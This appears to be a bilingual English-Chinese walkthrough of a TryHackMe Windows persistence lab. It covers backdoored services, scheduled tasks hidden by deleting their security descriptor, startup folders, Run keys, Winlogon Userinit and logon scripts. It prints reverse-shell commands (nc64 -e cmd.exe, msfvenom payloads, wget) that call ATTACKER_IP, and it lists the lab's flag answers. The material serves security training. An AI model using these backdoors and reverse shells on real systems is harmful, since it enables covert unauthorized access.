&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; sc.exe qc THMservice3
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: THMservice3
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Windows\rev-svc2.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : THMservice3
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-21.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Start a Metasploit listener on your attacker&amp;#39;s machine and manually start the service to receive a reverse shell. From there, run &lt;strong&gt;C:\flags\flag8.exe&lt;/strong&gt; to get a flag!
在攻击者的计算机上启动 Metasploit 侦听器，并手动启动服务以接收反向 shell。从那里，跑 &lt;strong&gt;C:\flags\flag8.exe&lt;/strong&gt; 去拿一面旗帜！&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Insert flag7 here 在此处插入标志7&lt;/p&gt;
&lt;p&gt;sc提权&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;sc 是 Windows 服务控制（Service Control）命令行工具，用于管理 Windows 服务。它可以启动、停止、查询、配置和删除服务。  &lt;/p&gt;
&lt;p&gt;SC提权&lt;/p&gt;
&lt;p&gt;适用系统：Windows7、Windows8、Windows2008、Windows2012、Windows2016&lt;/p&gt;
&lt;p&gt;创建一个名叫syscmd的新的交互式的cmd服务&lt;/p&gt;
&lt;p&gt;C:&amp;gt;sc Create syscmd binPath= “cmd /K start” type= own type= interact &lt;/p&gt;
&lt;p&gt;#启动服务获取system权限的cmd&lt;/p&gt;
&lt;p&gt;C:&amp;gt;sc start syscmd &lt;/p&gt;
&lt;p&gt; 其中syscmd是服务名称，可以随意填写，binpath是启动的命令，type=own是指服务这个服务属于谁，type=interact是指交互式shell&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;不能像上面例子一样修改windows密码，不然的话就连接不上机器了，这个地方卡了好久&lt;/p&gt;
&lt;p&gt;THM{SUSPICIOUS_SERVICES}&lt;/p&gt;
&lt;p&gt;Insert flag8 here 在此处插入 flag8&lt;/p&gt;
&lt;p&gt;THM{IN_PLAIN_SIGHT}&lt;/p&gt;
&lt;h1&gt;Abusing Scheduled Tasks&lt;/h1&gt;
&lt;p&gt;We can also use scheduled tasks to establish persistence if needed. There are several ways to schedule the execution of a payload in Windows systems. Let&amp;#39;s look at some of them:&lt;br&gt;如果需要，我们还可以使用计划任务来建立持久性。有几种方法可以在 Windows 系统中计划有效负载的执行。让我们看一下其中的一些：&lt;/p&gt;
&lt;p&gt;Task Scheduler 任务计划程序&lt;/p&gt;
&lt;p&gt;The most common way to schedule tasks is using the built-in &lt;strong&gt;Windows task scheduler&lt;/strong&gt;. The task scheduler allows for granular control of when your task will start, allowing you to configure tasks that will activate at specific hours, repeat periodically or even trigger when specific system events occur. From the command line, you can use &lt;strong&gt;schtasks&lt;/strong&gt; to interact with the task scheduler. A complete reference for the command can be found on &lt;a href=&quot;https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks&quot;&gt;Microsoft&amp;#39;s website&lt;/a&gt;.&lt;br&gt;计划任务的最常见方法是使用内置的 Windows 任务计划程序。任务计划程序允许对任务的启动时间进行精细控制，允许您配置将在特定时间激活、定期重复甚至在发生特定系统事件时触发的任务。在命令行中，您可以使用 &lt;strong&gt;schtasks&lt;/strong&gt; 与任务计划程序进行交互。该命令的完整参考可以在 Microsoft 的网站上找到。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s create a task that runs a reverse shell every single minute. In a real-world scenario, you wouldn&amp;#39;t want your payload to run so often, but we don&amp;#39;t want to wait too long for this room:&lt;br&gt;让我们创建一个每分钟运行一次反向 shell 的任务。在实际场景中，您不希望有效负载如此频繁地运行，但我们不想为此房间等待太久：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; schtasks /create /sc minute /mo 1 /tn THM-TaskBackdoor /tr &amp;quot;c:\tools\nc64 -e cmd.exe ATTACKER_IP 4449&amp;quot; /ru SYSTEM
SUCCESS: The scheduled task &amp;quot;THM-TaskBackdoor&amp;quot; has successfully been created.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Be sure to use &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****-TaskBackdoor&lt;/strong&gt; as the name of your task, or you won&amp;#39;t get the flag.&lt;br&gt;注意：请务必用作 &lt;strong&gt;&lt;u&gt;THM&lt;/u&gt;****-TaskBackdoor&lt;/strong&gt; 任务的名称，否则您将无法获得该标志。&lt;/p&gt;
&lt;p&gt;The previous command will create a &amp;quot;THM-TaskBackdoor&amp;quot; task and execute an &lt;strong&gt;nc64&lt;/strong&gt; reverse shell back to the attacker. The &lt;strong&gt;/sc&lt;/strong&gt; and &lt;strong&gt;/mo&lt;/strong&gt; options indicate that the task should be run every single minute. The &lt;strong&gt;/ru&lt;/strong&gt; option indicates that the task will run with SYSTEM privileges.&lt;br&gt;上一个命令将创建一个“THM-TaskBackdoor”任务，并执行一个 &lt;strong&gt;nc64&lt;/strong&gt; 反向 shell 返回给攻击者。 &lt;strong&gt;/sc&lt;/strong&gt; 和 &lt;strong&gt;/mo&lt;/strong&gt; 选项指示任务应每分钟运行一次。该 &lt;strong&gt;/ru&lt;/strong&gt; 选项指示任务将使用 SYSTEM 权限运行。&lt;/p&gt;
&lt;p&gt;To check if our task was successfully created, we can use the following command:&lt;br&gt;要检查我们的任务是否已成功创建，我们可以使用以下命令：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; schtasks /query /tn thm-taskbackdoor

Folder: \
TaskName                                 Next Run Time          Status
======================================== ====================== ===============
thm-taskbackdoor                         5/25/2022 8:08:00 AM   Ready
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Making Our Task Invisible&lt;br&gt;让我们的任务不可见&lt;/p&gt;
&lt;p&gt;Our task should be up and running by now, but if the compromised user tries to list its scheduled tasks, our backdoor will be noticeable. To further hide our scheduled task, we can make it invisible to any user in the system by deleting its &lt;strong&gt;Security Descriptor (SD)&lt;/strong&gt;. The security descriptor is simply an ACL that states which users have access to the scheduled task. If your user isn&amp;#39;t allowed to query a scheduled task, you won&amp;#39;t be able to see it anymore, as Windows only shows you the tasks that you have permission to use. Deleting the SD is equivalent to disallowing all users&amp;#39; access to the scheduled task, including administrators.&lt;br&gt;我们的任务现在应该已经启动并运行，但如果受感染的用户试图列出其计划的任务，我们的后门将很明显。为了进一步隐藏我们的计划任务，我们可以通过删除其安全描述符 （SD） 使其对系统中的任何用户不可见。安全描述符只是一个 ACL，它说明哪些用户有权访问计划任务。如果不允许用户查询计划任务，则无法再看到它，因为 Windows 仅显示你有权使用的任务。删除 SD 等同于禁止所有用户访问计划任务，包括管理员。&lt;/p&gt;
&lt;p&gt;The security descriptors of all scheduled tasks are stored in *&lt;em&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree*&lt;/em&gt;. You will find a registry key for every task, under which a value named &amp;quot;SD&amp;quot; contains the security descriptor. You can only erase the value if you hold SYSTEM privileges.&lt;br&gt;所有计划任务的安全描述符都存储在 *&lt;em&gt;HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree*&lt;/em&gt; 中。您将为每个任务找到一个注册表项，在该注册表项下，名为“SD”的值包含安全描述符。仅当您持有 SYSTEM 权限时，才能擦除该值。&lt;/p&gt;
&lt;p&gt;To hide our task, let&amp;#39;s delete the SD value for the &amp;quot;THM-TaskBackdoor&amp;quot; task we created before. To do so, we will use &lt;strong&gt;psexec&lt;/strong&gt; (available in &lt;strong&gt;C:\tools&lt;/strong&gt;) to open Regedit with SYSTEM privileges:&lt;br&gt;为了隐藏我们的任务，让我们删除我们之前创建的“THM-TaskBackdoor”任务的 SD 值。为此，我们将使用 &lt;strong&gt;psexec&lt;/strong&gt; （在 &lt;strong&gt;C:\tools&lt;/strong&gt; 中可用） 以 SYSTEM 权限打开 Regedit：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; c:\tools\pstools\PsExec64.exe -s -i regedit
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We will then delete the security descriptor for our task:&lt;br&gt;然后，我们将删除任务的安全描述符：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-22.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;If we try to query our service again, the system will tell us there is no such task:&lt;br&gt;如果我们再次尝试查询我们的服务，系统会告诉我们没有这样的任务：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; schtasks /query /tn thm-taskbackdoor ERROR: The system cannot find the file specified.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If we start an nc listener in our attacker&amp;#39;s machine, we should get a shell back after a minute:&lt;br&gt;如果我们在攻击者的机器中启动一个 nc 侦听器，我们应该在一分钟后得到一个 shell：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ nc -lvp 4449
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-23.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use the reverse shell obtained through the task scheduler and execute &lt;strong&gt;C:\flags\flag9.exe&lt;/strong&gt; to retrieve a flag.
使用通过任务调度程序获取的反向 shell 并执行 &lt;strong&gt;C:\flags\flag9.exe&lt;/strong&gt; 以检索标志。&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Insert flag9 here 在此处插入 flag9&lt;/p&gt;
&lt;p&gt;THM{JUST_A_MATTER_OF_TIME}&lt;/p&gt;
&lt;h1&gt;Logon Triggered Persistence&lt;/h1&gt;
&lt;p&gt;Some actions performed by a user might also be bound to executing specific payloads for persistence. Windows operating systems present several ways to link payloads with particular interactions. This task will look at ways to plant payloads that will get executed when a user logs into the system.&lt;br&gt;用户执行的某些操作也可能绑定到执行特定的有效负载以实现持久性。Windows 操作系统提供了多种将有效负载与特定交互链接的方法。此任务将着眼于如何植入有效负载，这些负载将在用户登录系统时执行。&lt;/p&gt;
&lt;p&gt;Startup folder 启动文件夹&lt;/p&gt;
&lt;p&gt;Each user has a folder under &lt;strong&gt;C:\Users&amp;lt;your_username&amp;gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup&lt;/strong&gt; where you can put executables to be run whenever the user logs in. An attacker can achieve persistence just by dropping a payload in there. Notice that each user will only run whatever is available in their folder.&lt;br&gt;每个用户都有一个文件夹， &lt;strong&gt;C:\Users&amp;lt;your_username&amp;gt;\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup&lt;/strong&gt; 您可以在其中放置要在用户登录时运行的可执行文件。攻击者只需将有效负载放入其中即可实现持久性。请注意，每个用户将仅运行其文件夹中可用的任何内容。&lt;/p&gt;
&lt;p&gt;If we want to force all users to run a payload while logging in, we can use the folder under &lt;strong&gt;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp&lt;/strong&gt; in the same way.&lt;br&gt;如果我们想强制所有用户在登录时运行有效负载，我们可以以同样的方式使用下面的 &lt;strong&gt;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp&lt;/strong&gt; 文件夹。&lt;/p&gt;
&lt;p&gt;For this task, let&amp;#39;s generate a reverse shell payload using msfvenom:&lt;br&gt;对于此任务，让我们使用 msfvenom 生成反向 shell 有效负载：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4450 -f exe -o revshell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We will then copy our payload into the victim machine. You can spawn an &lt;strong&gt;http.server&lt;/strong&gt; with Python3 and use wget on the victim machine to pull your file:&lt;br&gt;然后，我们会将有效载荷复制到受害机器中。您可以使用 Python3 生成一个 &lt;strong&gt;http.server&lt;/strong&gt; 并在受害机器上使用 wget 来拉取您的文件：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;center&quot;&gt;AttackBox 攻击盒&lt;br/&gt;&lt;code&gt;plain user@AttackBox$ python3 -m http.server  Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... &lt;/code&gt;&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;➜&lt;/th&gt;
&lt;th align=&quot;center&quot;&gt;Powershell Powershell的&lt;br/&gt;&lt;code&gt;plain PS C:\&amp;gt; wget http://ATTACKER_IP:8000/revshell.exe -O revshell.exe &lt;/code&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;/table&gt;
&lt;p&gt;We then store the payload into the &lt;strong&gt;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp&lt;/strong&gt; folder to get a shell back for any user logging into the machine.&lt;br&gt;然后，我们将有效负载存储到文件夹中， &lt;strong&gt;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp&lt;/strong&gt; 以便为登录计算机的任何用户取回 shell。&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; copy revshell.exe &amp;quot;C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now be sure to sign out of your session from the start menu (closing the &lt;u&gt;RDP&lt;/u&gt; window is not enough as it leaves your session open):&lt;br&gt;现在，请务必从开始菜单注销会话（关闭 RDP 窗口是不够的，因为它会使会话保持打开状态）：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-24.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;And log back via RDP. You should immediately receive a connection back to your attacker&amp;#39;s machine.&lt;br&gt;并通过 RDP 重新登录。您应该立即收到返回攻击者计算机的连接。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-25.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Use your newly obtained shell to execute &lt;strong&gt;C:\flags\flag10.exe&lt;/strong&gt; and get your flag!
使用你新获得的shell来执行 &lt;strong&gt;C:\flags\flag10.exe&lt;/strong&gt; 并获得你的标志！&lt;/p&gt;
&lt;p&gt;Run / RunOnce 运行/运行一次&lt;/p&gt;
&lt;p&gt;You can also force a user to execute a program on logon via the registry. Instead of delivering your payload into a specific directory, you can use the following registry entries to specify applications to run at logon:&lt;br&gt;您还可以强制用户通过注册表在登录时执行程序。您可以使用以下注册表项指定要在登录时运行的应用程序，而不是将有效负载传递到特定目录：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The registry entries under &lt;strong&gt;HKCU&lt;/strong&gt; will only apply to the current user, and those under &lt;strong&gt;HKLM&lt;/strong&gt; will apply to everyone. Any program specified under the &lt;strong&gt;Run&lt;/strong&gt; keys will run every time the user logs on. Programs specified under the &lt;strong&gt;RunOnce&lt;/strong&gt; keys will only be executed a single time.&lt;br&gt;下面的 &lt;strong&gt;HKCU&lt;/strong&gt; 注册表项仅适用于当前用户，而下面的 &lt;strong&gt;HKLM&lt;/strong&gt; 注册表项将适用于所有人。每次用户登录时， &lt;strong&gt;Run&lt;/strong&gt; 在密钥下指定的任何程序都将运行。 &lt;strong&gt;RunOnce&lt;/strong&gt; 在键下指定的程序将只执行一次。&lt;/p&gt;
&lt;p&gt;For this task, let&amp;#39;s create a new reverse shell with msfvenom:&lt;br&gt;对于此任务，让我们使用 msfvenom 创建一个新的反向 shell：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4451 -f exe -o revshell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After transferring it to the victim machine, let&amp;#39;s move it to *&lt;em&gt;C:\Windows*&lt;/em&gt;:&lt;br&gt;将其传输到受害机器后，让我们将其移动到 *&lt;em&gt;C:\Windows*&lt;/em&gt; ：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; move revshell.exe C:\Windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&amp;#39;s then create a &lt;strong&gt;REG_EXPAND_SZ&lt;/strong&gt; registry entry under &lt;strong&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&lt;/strong&gt;. The entry&amp;#39;s name can be anything you like, and the value will be the command we want to execute.&lt;br&gt;然后，让我们在 &lt;strong&gt;HKLM\Software\Microsoft\Windows\CurrentVersion\Run&lt;/strong&gt; 下创建一个 &lt;strong&gt;REG_EXPAND_SZ&lt;/strong&gt; 注册表项。条目的名称可以是您喜欢的任何名称，值将是我们要执行的命令。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;** **While in a real-world set-up you could use any name for your registry entry, for this task you are required to use &lt;strong&gt;MyBackdoor&lt;/strong&gt; to receive the flag.&lt;br&gt;注意：在实际设置中，您可以为注册表项使用任何名称，但对于此任务，您需要使用 &lt;strong&gt;MyBackdoor&lt;/strong&gt; 该标志来接收标志。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-26.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After doing this, sign out of your current session and log in again, and you should receive a shell (it will probably take around 10-20 seconds).&lt;br&gt;完成此操作后，注销当前会话并重新登录，您应该会收到一个 shell（可能需要大约 10-20 秒）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-27.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using your newly obtained shell, execute &lt;strong&gt;C:\flags\flag11.exe&lt;/strong&gt; to get a flag!
使用您新获得的 shell，执行 &lt;strong&gt;C:\flags\flag11.exe&lt;/strong&gt; 以获得一个标志！&lt;/p&gt;
&lt;p&gt;Winlogon Winlogon的&lt;/p&gt;
&lt;p&gt;Another alternative to automatically start programs on logon is abusing Winlogon, the Windows component that loads your user profile right after authentication (amongst other things).&lt;br&gt;登录时自动启动程序的另一种替代方法是滥用 Winlogon，这是一个 Windows 组件，可在身份验证后立即加载您的用户配置文件（除其他外）。&lt;/p&gt;
&lt;p&gt;Winlogon uses some registry keys under *&lt;em&gt;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon*&lt;/em&gt; that could be interesting to gain persistence:&lt;br&gt;Winlogon 使用一些注册表项， *&lt;em&gt;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon*&lt;/em&gt; 这些注册表项可能会很有趣，以获得持久性：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Userinit&lt;/strong&gt; points to &lt;strong&gt;userinit.exe&lt;/strong&gt;, which is in charge of restoring your user profile preferences.&lt;br&gt;&lt;strong&gt;Userinit&lt;/strong&gt; 指向 &lt;strong&gt;userinit.exe&lt;/strong&gt; ，它负责恢复您的用户配置文件首选项。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;shell&lt;/strong&gt; points to the system&amp;#39;s shell, which is usually &lt;strong&gt;explorer.exe&lt;/strong&gt;.&lt;br&gt;&lt;strong&gt;shell&lt;/strong&gt; 指向系统的 shell，通常是 &lt;strong&gt;explorer.exe&lt;/strong&gt; .&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-28.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;If we&amp;#39;d replace any of the executables with some reverse shell, we would break the logon sequence, which isn&amp;#39;t desired. Interestingly, you can append commands separated by a comma, and Winlogon will process them all.&lt;br&gt;如果我们用一些反向 shell 替换任何可执行文件，我们将破坏登录序列，这是不需要的。有趣的是，您可以附加用逗号分隔的命令，Winlogon 将处理所有命令。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s start by creating a shell:&lt;br&gt;让我们从创建一个 shell 开始：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4452 -f exe -o revshell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&amp;#39;ll transfer the shell to our victim machine as we did previously. We can then copy the shell to any directory we like. In this case, we will use &lt;strong&gt;C:\Windows&lt;/strong&gt;:&lt;br&gt;我们将像以前一样将 shell 转移到受害机器上。然后，我们可以将 shell 复制到我们喜欢的任何目录。在这种情况下，我们将使用 &lt;strong&gt;C:\Windows&lt;/strong&gt; ：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; move revshell.exe C:\Windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We then alter either &lt;strong&gt;shell&lt;/strong&gt; or &lt;strong&gt;Userinit&lt;/strong&gt; in *&lt;em&gt;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon*&lt;/em&gt;. In this case we will use &lt;strong&gt;Userinit&lt;/strong&gt;, but the procedure with &lt;strong&gt;shell&lt;/strong&gt; is the same.&lt;br&gt;然后，我们更改 &lt;strong&gt;shell&lt;/strong&gt; 或 &lt;strong&gt;Userinit&lt;/strong&gt; 。 *&lt;em&gt;HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon*&lt;/em&gt; 在本例中，我们将使用 &lt;strong&gt;Userinit&lt;/strong&gt; ，但过程是 &lt;strong&gt;shell&lt;/strong&gt; 相同的。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt;** **While both &lt;strong&gt;shell&lt;/strong&gt; and &lt;strong&gt;Userinit&lt;/strong&gt; could be used to achieve persistence in a real-world scenario, to get the flag in this room, you will need to use &lt;strong&gt;Userinit&lt;/strong&gt;.&lt;br&gt;注意：虽然两者都 &lt;strong&gt;shell&lt;/strong&gt; &lt;strong&gt;Userinit&lt;/strong&gt; 可用于在实际场景中实现持久性，但要获得此房间中的标志，您需要使用 &lt;strong&gt;Userinit&lt;/strong&gt; .&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-29.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;After doing this, sign out of your current session and log in again, and you should receive a shell (it will probably take around 10 seconds).&lt;br&gt;完成此操作后，注销当前会话并重新登录，您应该会收到一个 shell（可能需要大约 10 秒）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-30.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using your newly obtained shell, execute &lt;strong&gt;C:\flags\flag12.exe&lt;/strong&gt; to get a flag!
使用您新获得的 shell，执行 &lt;strong&gt;C:\flags\flag12.exe&lt;/strong&gt; 以获得一个标志！&lt;/p&gt;
&lt;p&gt;Logon scripts 登录脚本&lt;/p&gt;
&lt;p&gt;One of the things &lt;strong&gt;userinit.exe&lt;/strong&gt; does while loading your user profile is to check for an environment variable called &lt;strong&gt;UserInitMprLogonScript&lt;/strong&gt;. We can use this environment variable to assign a logon script to a user that will get run when logging into the machine. The variable isn&amp;#39;t set by default, so we can just create it and assign any script we like.&lt;br&gt;加载用户配置文件时 &lt;strong&gt;userinit.exe&lt;/strong&gt; 要做的一件事是检查名为 &lt;strong&gt;UserInitMprLogonScript&lt;/strong&gt; 的环境变量。我们可以使用此环境变量将登录脚本分配给登录到计算机时将运行的用户。默认情况下未设置变量，因此我们可以创建它并分配我们喜欢的任何脚本。&lt;/p&gt;
&lt;p&gt;Notice that each user has its own environment variables; therefore, you will need to backdoor each separately.&lt;br&gt;请注意，每个用户都有自己的环境变量;因此，您需要分别对每个后门进行后门。&lt;/p&gt;
&lt;p&gt;Let&amp;#39;s first create a reverse shell to use for this technique:&lt;br&gt;让我们首先创建一个用于此技术的反向 shell：&lt;/p&gt;
&lt;p&gt;AttackBox 攻击盒&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;user@AttackBox$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4453 -f exe -o revshell.exe
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We&amp;#39;ll transfer the shell to our victim machine as we did previously. We can then copy the shell to any directory we like. In this case, we will use &lt;strong&gt;C:\Windows&lt;/strong&gt;:&lt;br&gt;我们将像以前一样将 shell 转移到受害机器上。然后，我们可以将 shell 复制到我们喜欢的任何目录。在这种情况下，我们将使用 &lt;strong&gt;C:\Windows&lt;/strong&gt; ：&lt;/p&gt;
&lt;p&gt;Command Prompt 命令提示符&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;C:\&amp;gt; move revshell.exe C:\Windows
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To create an environment variable for a user, you can go to its &lt;strong&gt;HKCU\Environment&lt;/strong&gt; in the registry. We will use the &lt;strong&gt;UserInitMprLogonScript&lt;/strong&gt; entry to point to our payload so it gets loaded when the users logs in:&lt;br&gt;若要为用户创建环境变量，可以在注册表中转到其 &lt;strong&gt;HKCU\Environment&lt;/strong&gt; 。我们将使用该 &lt;strong&gt;UserInitMprLogonScript&lt;/strong&gt; 条目指向我们的有效负载，以便在用户登录时加载它：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-31.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Notice that this registry key has no equivalent in &lt;strong&gt;HKLM&lt;/strong&gt;, making your backdoor apply to the current user only.&lt;br&gt;请注意，此注册表项在 中没有 &lt;strong&gt;HKLM&lt;/strong&gt; 等效项，因此后门程序仅适用于当前用户。&lt;/p&gt;
&lt;p&gt;After doing this, sign out of your current session and log in again, and you should receive a shell (it will probably take around 10 seconds).&lt;br&gt;完成此操作后，注销当前会话并重新登录，您应该会收到一个 shell（可能需要大约 10 秒）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/tryhackme/TryHackMe-Windows%20Local%20Persistence-32.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Using your newly obtained shell, execute &lt;strong&gt;C:\flags\flag13.exe&lt;/strong&gt; to get a flag!
使用您新获得的 shell，执行 &lt;strong&gt;C:\flags\flag13.exe&lt;/strong&gt; 以获得一个标志！&lt;/p&gt;
&lt;p&gt;Answer the questions below&lt;br&gt;回答以下问题&lt;/p&gt;
&lt;p&gt;Insert flag10 here 在此处插入 flag10&lt;/p&gt;
&lt;p&gt;THM{NO_NO_AFTER_YOU}&lt;/p&gt;
&lt;p&gt;Submit 提交&lt;/p&gt;
&lt;p&gt;Insert flag11 here 在此处插入 flag11&lt;br&gt;THM{LET_ME_HOLD_THE_DOOR_FOR_YOU}&lt;/p&gt;
&lt;p&gt;Submit 提交&lt;/p&gt;
&lt;p&gt;Insert flag12 here 在此处插入 flag12&lt;br&gt;THM{I_INSIST_GO_FIRST}&lt;/p&gt;
